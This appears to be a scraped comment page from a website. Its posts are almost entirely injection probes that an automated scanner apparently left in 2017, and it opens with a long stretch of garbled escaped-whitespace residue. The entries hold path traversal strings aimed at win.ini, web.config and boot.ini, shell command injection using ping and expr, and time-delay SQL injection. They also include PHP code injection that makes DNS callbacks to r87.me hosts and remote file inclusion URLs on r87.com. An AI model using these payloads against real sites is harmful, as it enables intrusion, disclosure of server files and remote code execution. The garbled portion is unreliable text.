t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t
\r\n

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \"&ping -w 25 127.0.0.1 &\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:37 AM\r\n

\r\n

\r\n +gethostbyname(trim('o010_rdnxurlfouvntkzt91dsoqoslqdfyg5umfw'.'kyi.r87.me'));//\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:37 AM\r\n

\r\n

\r\n ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

\r\n

\r\n 8/23/2017 8:09:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:36 AM\r\n

\r\n

\r\n & ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:36 AM\r\n

\r\n

\r\n ';expr 268409241 - 2;'\r\n

\r\n
\r\n

c:\\windows\\win.ini

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/n

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n '& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n 1) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n gethostbyname(trim('o010_rdnxupd9q5ji7xvvbcaicpnypm8chfpjuen'.'ecc.r87.me'));\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \"& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

php://filter//resource=http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:34 AM\r\n

\r\n

\r\n gethostbyname(trim('o010_rdnxuq8bbsk37pdde8ccpiocscf2k5j-fid'.'tle.r87.me'))\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?.aspx

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \";expr 268409241 - 2;\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:32 AM\r\n

\r\n

\r\n WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

file:/windows/win.ini

\r\n

\r\n 8/23/2017 8:09:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n 1 WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

/../../../../../../../../../../web.config

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

c%3a%5cboot.ini

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

hTTp://r87.com/n

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n SET /A 0xFFF9999-2\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file%3a%2fboot.ini

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n ' WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

